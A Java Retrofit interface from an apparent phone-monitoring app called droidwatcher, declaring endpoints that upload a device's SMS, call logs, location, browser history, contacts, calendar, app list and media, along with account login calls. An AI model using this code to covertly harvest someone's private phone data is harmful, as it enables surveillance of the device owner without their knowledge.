package com.droidwatcher.retrofit;


import com.droidwatcher.JsonEntity.RegistAndLoginResponse;

import java.util.Map;

import okhttp3.MultipartBody;
import okhttp3.RequestBody;
import okhttp3.ResponseBody;
import retrofit2.http.Body;
import retrofit2.http.Headers;
import retrofit2.http.Multipart;
import retrofit2.http.POST;
import retrofit2.http.Part;
import retrofit2.http.PartMap;
import rx.Observable;

/**
 * Created by Administrator on 2018/3/5.
 */

public interface SendAPI {
    @Headers({"Content-Type: application/json","Accept: application/json"})//需要添加头
    @POST("sms_info/insert")
    Observable<Result<String>> uploadSMS(@Body RequestBody body);

    @Headers({"Content-Type: application/json","Accept: application/json"})//需要添加头
    @POST("call_log/insert")
    Observable<Result<String>> uploadCall(@Body RequestBody body);

    @Headers({"Content-Type: application/json","Accept: application/json"})//需要添加头
    @POST("location/update")
    Observable<Result<String>> uploadLocation(@Body RequestBody body);


//    @Headers({"Content-Type: application/json","Accept: application/json"})//需要添加头
//    @POST("app_info/insert")
//    Observable<ResponseBody> uploadAppInfo(@Body RequestBody head);

    @Headers({"Content-Type: application/json","Accept: application/json"})//需要添加头
    @POST("browser_info/insert")
    Observable<Result<String>> uploadBrowser (@Body RequestBody body);


    @Headers({"Content-Type: application/json","Accept: application/json"})//需要添加头
    @POST("calendar/insert")
    Observable<Result<String>> uploadCalendar (@Body RequestBody body);

    @Headers({"Content-Type: application/json","Accept: application/json"})//需要添加头
    @POST("contact/insert")
    Observable<Result<String>> uploadContact (@Body RequestBody body);

    @Headers({"Content-Type: application/json", "Accept: application/json"})//需要添加头
    @POST("device_info/insert")
    Observable<Result<String>> uploadMobileInfo(@Body RequestBody body);

    @Headers({"Content-Type: application/json","Accept: application/json"})//需要添加头
    @POST("app_info/insert")
    Observable<Result<String>> uploadAppInfo(@Body RequestBody head);


    @Headers({"Content-Type: application/json","Accept: application/json"})//需要添加头
    @POST("user/signin")
    Observable<RegistAndLoginResponse> login(@Body RequestBody head);

    @Headers({"Content-Type: application/json","Accept: application/json"})//需要添加头
    @POST("user/signup")
    Observable<RegistAndLoginResponse> regist(@Body RequestBody head);


    @Headers({"Content-Type: application/json","Accept: application/json"})//需要添加头
    @POST("user/change_password")
    Observable<Result<String>> modifyPwd(@Body RequestBody head);

    @Headers({"Content-Type: application/json","Accept: application/json"})//需要添加头
    @POST("picture/upload")
    Observable<ResponseBody> uploadImgs(@Body MultipartBody body);

    @Headers({"Content-Type: application/json","Accept: application/json"})//需要添加头
    @POST("video/preview_upload")
    Observable<ResponseBody> uploadVideoImgs(@Body MultipartBody body);
}
